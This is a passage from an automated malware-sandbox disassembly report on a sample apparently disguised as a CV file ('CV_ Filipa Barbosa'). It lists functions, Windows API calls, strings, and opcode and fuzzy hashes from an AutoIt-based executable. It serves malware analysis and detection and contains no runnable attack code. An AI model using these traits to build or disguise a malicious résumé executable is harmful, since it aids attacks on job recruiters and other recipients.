                                                                  • API ID: MessageSend
                                                                  • String ID: @U=u
                                                                  • API String ID: 3850602802-2594219639
                                                                  • Opcode ID: 331b164f2ea8b27e032c14552894f36116343668e93c25c7b541546fd6b59a32
                                                                  • Instruction ID: fb08d72e8b7bcf4fb795b2e87d66dbf30977b0e7aede9e318ffc5ecaaa9a9ed1
                                                                  • Opcode Fuzzy Hash: 331b164f2ea8b27e032c14552894f36116343668e93c25c7b541546fd6b59a32
                                                                  • Instruction Fuzzy Hash: 0E11E671500744AFE720EF34C891AE7BBE4FF06314F14454EE9AB87291DB716941DB60
                                                                  Function 00B7A82C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52networkCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • inet_addr.WSOCK32(00000000,00000000,?,?,?,00000000), ref: 00B7A84E
                                                                  • htons.WSOCK32(00000000,?,00000000), ref: 00B7A88B
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: htonsinet_addr
                                                                  • String ID: 255.255.255.255
                                                                  • API String ID: 3832099526-2422070025
                                                                  • Opcode ID: dc202dbc784dfdae384443852f366c2dc115b806cf13c739509bfcc67a1e0c00
                                                                  • Instruction ID: 64439d62907d2fdbf7aae1d533f3c99a62761e764afca6d988b4dae87d404133
                                                                  • Opcode Fuzzy Hash: dc202dbc784dfdae384443852f366c2dc115b806cf13c739509bfcc67a1e0c00
                                                                  • Instruction Fuzzy Hash: 0801D675200304ABCB109F64D886FADB7E5EF85710F10C5A6F52A9B3D1DB71E8058753
                                                                  Function 00B8F2D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B3B34E: GetWindowLongW.USER32(?,000000EB), ref: 00B3B35F
                                                                  • DefDlgProcW.USER32(?,0000002B,?,?,?,?,?,?,?,00B9E44F,?,?,?), ref: 00B8F344
                                                                    • Part of subcall function 00B3B526: GetWindowLongW.USER32(?,000000EB), ref: 00B3B537
                                                                  • SendMessageW.USER32(?,00000401,00000000,00000000), ref: 00B8F32A
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: LongWindow$MessageProcSend
                                                                  • String ID: @U=u
                                                                  • API String ID: 982171247-2594219639
                                                                  • Opcode ID: 60f1537f1ba4c3c2f70da4837966b047ce6892163c4dae6a577c301fe170cde4
                                                                  • Instruction ID: c9fb79fb607fb3ab670192f414980682cc20e9d669664d161d5e52fd6ad2c338
                                                                  • Opcode Fuzzy Hash: 60f1537f1ba4c3c2f70da4837966b047ce6892163c4dae6a577c301fe170cde4
                                                                  • Instruction Fuzzy Hash: 7201D431201214AFCB21AF18DC85F7A7BE6FB95324F2845A4F9061B2F0CB31AC42DB54
                                                                  Function 00B5C65B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00B5C66D
                                                                  • SendMessageW.USER32(?,0000110A,00000000,00000000), ref: 00B5C69D
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend
                                                                  • String ID: @U=u
                                                                  • API String ID: 3850602802-2594219639
                                                                  • Opcode ID: 52642636e069e81abda2628a56c44c730b67c39b93ed78b1eaa1fb249f3479b9
                                                                  • Instruction ID: 43d93978acf1f520996217a2072526b6e7f108a0bef7ad79fd9a588c66a9b48e
                                                                  • Opcode Fuzzy Hash: 52642636e069e81abda2628a56c44c730b67c39b93ed78b1eaa1fb249f3479b9
                                                                  • Instruction Fuzzy Hash: 12F0A071240308BFEB116E94EC87FB67FA9EB19792F1044A4FB0A1B1E0D9E25D109760
                                                                  Function 00B5C7D8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B5C2DE: SendMessageW.USER32(?,0000110A,00000000,00000000), ref: 00B5C2F7
                                                                    • Part of subcall function 00B5C2DE: SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00B5C331
                                                                  • SendMessageW.USER32(?,0000110B,00000005,00000000), ref: 00B5C7FC
                                                                  • SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00B5C80C
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend
                                                                  • String ID: @U=u
                                                                  • API String ID: 3850602802-2594219639
                                                                  • Opcode ID: 3696387d26f0500572cf3695cab29791e6a3b116dcc0555fa8c4529e8feca694
                                                                  • Instruction ID: 31164e6541a5de2052a705ce85819fe16b60cf5f2275471d52f47b376a026896
                                                                  • Opcode Fuzzy Hash: 3696387d26f0500572cf3695cab29791e6a3b116dcc0555fa8c4529e8feca694
                                                                  • Instruction Fuzzy Hash: 3CE0D8752443097FF7111A659C8BFA73FADEB49752F104075BB0056095EEA38C155520
                                                                  Function 00B67744 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ClassName_wcscmp
                                                                  • String ID: #32770
                                                                  • API String ID: 2292705959-463685578
                                                                  • Opcode ID: ac1f2a30a99f8dff0654f385063425b8987c58c9dfc084f955e9e99e610c0873
                                                                  • Instruction ID: 3a21cb46c766b5d1d78076ee7b5fda495e332435c345c62340906c3b22fdf788
                                                                  • Opcode Fuzzy Hash: ac1f2a30a99f8dff0654f385063425b8987c58c9dfc084f955e9e99e610c0873
                                                                  • Instruction Fuzzy Hash: 16E09277A0432427D710EAA99C4AE97FBECEB51B64F0000A6B905D3181EA70EA4187D4
                                                                  Function 00B5A631 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00B5A63F
                                                                    • Part of subcall function 00B413F1: _doexit.LIBCMT ref: 00B413FB
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Message_doexit
                                                                  • String ID: AutoIt$Error allocating memory.
                                                                  • API String ID: 1993061046-4017498283
                                                                  • Opcode ID: 1b55479e42eb66f4026f63e8838d691d0e5a75930a2cfe432b821ff1659ad74a
                                                                  • Instruction ID: 68b2138c3ac7a7f1d60d0951dc191e24b8382fedc44e31dcfe829af3a2034c81
                                                                  • Opcode Fuzzy Hash: 1b55479e42eb66f4026f63e8838d691d0e5a75930a2cfe432b821ff1659ad74a
                                                                  • Instruction Fuzzy Hash: CBD05B313C472833D224369C7C17FD975C89B15B51F1404E6BB0D965D25DE6DA8041DD
                                                                  Function 00B9AE86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetSystemDirectoryW.KERNEL32(?), ref: 00B9ACC0
                                                                  • FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00B9AEBD
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: DirectoryFreeLibrarySystem
                                                                  • String ID: WIN_XPe
                                                                  • API String ID: 510247158-3257408948
                                                                  • Opcode ID: e4c90d5494ecfe38508b282b99ff8d3a9ce1732ac89aecf6e49738e4e93d3b3c
                                                                  • Instruction ID: 9468fbfd761c4d1c81ce260bc3cd254bdd74929c688062b1b19331ef587b1753
                                                                  • Opcode Fuzzy Hash: e4c90d5494ecfe38508b282b99ff8d3a9ce1732ac89aecf6e49738e4e93d3b3c
                                                                  • Instruction Fuzzy Hash: 09E0ED70C00649DFCF15DBA5DD84AECBBF8EB58301F1484D5E112B6660DB705A84DF62
                                                                  Function 00B88698 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00B886A2
                                                                  • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00B886B5
                                                                    • Part of subcall function 00B67A58: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00B67AD0
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: FindMessagePostSleepWindow
                                                                  • String ID: Shell_TrayWnd
                                                                  • API String ID: 529655941-2988720461
                                                                  • Opcode ID: 78e3d8c020d0197c98ceab84bb3700a2eca6ed2aafa0d8571df4ebc2941de7e8
                                                                  • Instruction ID: 4cc2f29f61e15d729fe317fb1c09307163b521711911bb46d727e76b63dbb100
                                                                  • Opcode Fuzzy Hash: 78e3d8c020d0197c98ceab84bb3700a2eca6ed2aafa0d8571df4ebc2941de7e8
                                                                  • Instruction Fuzzy Hash: BBD01231794314B7F2686770AC0BFC67A98AB15B15F100855B74AAB1D1CDE4E940CB54
                                                                  Function 00B886CC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00B886E2
                                                                  • PostMessageW.USER32(00000000), ref: 00B886E9
                                                                    • Part of subcall function 00B67A58: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00B67AD0
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: FindMessagePostSleepWindow
                                                                  • String ID: Shell_TrayWnd
                                                                  • API String ID: 529655941-2988720461
                                                                  • Opcode ID: 3a1415e34d9f4dcad10f16cb12573098e3ada08a7db3a549c145129c23d13037
                                                                  • Instruction ID: ff2517031805a20c92a664e0984d644a3f80c0cf1030af507b78778c500a3dfe
                                                                  • Opcode Fuzzy Hash: 3a1415e34d9f4dcad10f16cb12573098e3ada08a7db3a549c145129c23d13037
                                                                  • Instruction Fuzzy Hash: 60D022313C03147BF2686370AC0BFC67A88AB15B10F000805B306EB1D0CCE0E900CB14